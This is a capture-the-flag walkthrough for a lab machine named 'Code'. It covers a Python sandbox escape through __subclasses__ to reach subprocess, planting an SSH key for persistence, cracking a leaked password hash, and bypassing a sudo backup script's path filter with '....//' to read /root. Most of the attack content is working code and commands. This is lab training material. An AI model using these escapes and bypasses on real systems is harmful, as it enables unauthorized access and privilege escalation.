Skip to content

Code

Initial Scan

We start with a port scan on the target machine (10.10.11.62):

Discovered open port 22/tcp on 10.10.11.62
Discovered open port 5000/tcp on 10.10.11.62

Port 22 is SSH, and port 5000 is commonly used by web applications in development (Flask, Django, etc.).


Exploitation via Python

Analyzing the service on port 5000, we find a vulnerability that allows us to execute Python code by leveraging the internal class hierarchy:

classes = {}.__class__.__base__.__subclasses__()

for i in range(70, 90):
    print(f"{i}: {classes[i]}\n")

print(classes[84])
classes[80]().load_module()

We find that classes[84] maps to the subprocess module, which allows us to run system commands.

Retrieving user.txt

classes = {}.__class__.__base__.__subclasses__()
restricted2 = "subprocess"
test = classes[84]().load_module(restricted2)
proc = test.run(["cat", "../user.txt"], capture_output=True)
print(proc.stdout)

This gives us the contents of user.txt.


SSH Access as app-production

We can now write an authorized SSH key to gain a stable foothold:

test = classes[84]().load_module("subprocess")
test.run(["mkdir", "-p", "/home/app-production/.ssh"], capture_output=True)
test.run("echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJDZawBaiG26eqxQwqibymN4tlR7ln4isBLNHUf7cJvN pwned > /home/app-production/.ssh/authorized_keys", shell=True, capture_output=True)

We can now connect via SSH as app-production.


Extracting the SQLite Database

We find a database.db file containing users and hashed passwords:

CREATE TABLE user (
    id INTEGER NOT NULL,
    username VARCHAR(80) NOT NULL,
    password VARCHAR(80) NOT NULL,
    PRIMARY KEY (id),
    UNIQUE (username)
)

We extract a hash for the user martin: 3de6f30c4a09c27fc71932bfc68474be

Running it through CrackStation, we recover the password: nafeelswordsmaster


Privilege Escalation via sudo

We log in as martin and check sudo permissions:

martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh

The script backy.sh can be run with a JSON task file.

Contents of backy.sh

#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\.\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

Exploiting backy.sh

The script attempts to filter paths containing ../, but we can bypass this using quadruple dots:

{
  "destination": "/home/martin/",
  "multiprocessing": true,
  "verbose_log": true,
  "directories_to_archive": [
    "/var/....//root/"
  ]
}

We run the script with sudo:

sudo /usr/bin/backy.sh task.json

This produces an archive containing /root/. After extracting it:

tar -xjvf code_var_.._root_2025_March.tar.bz2
cat root/root.txt
root.txt xxx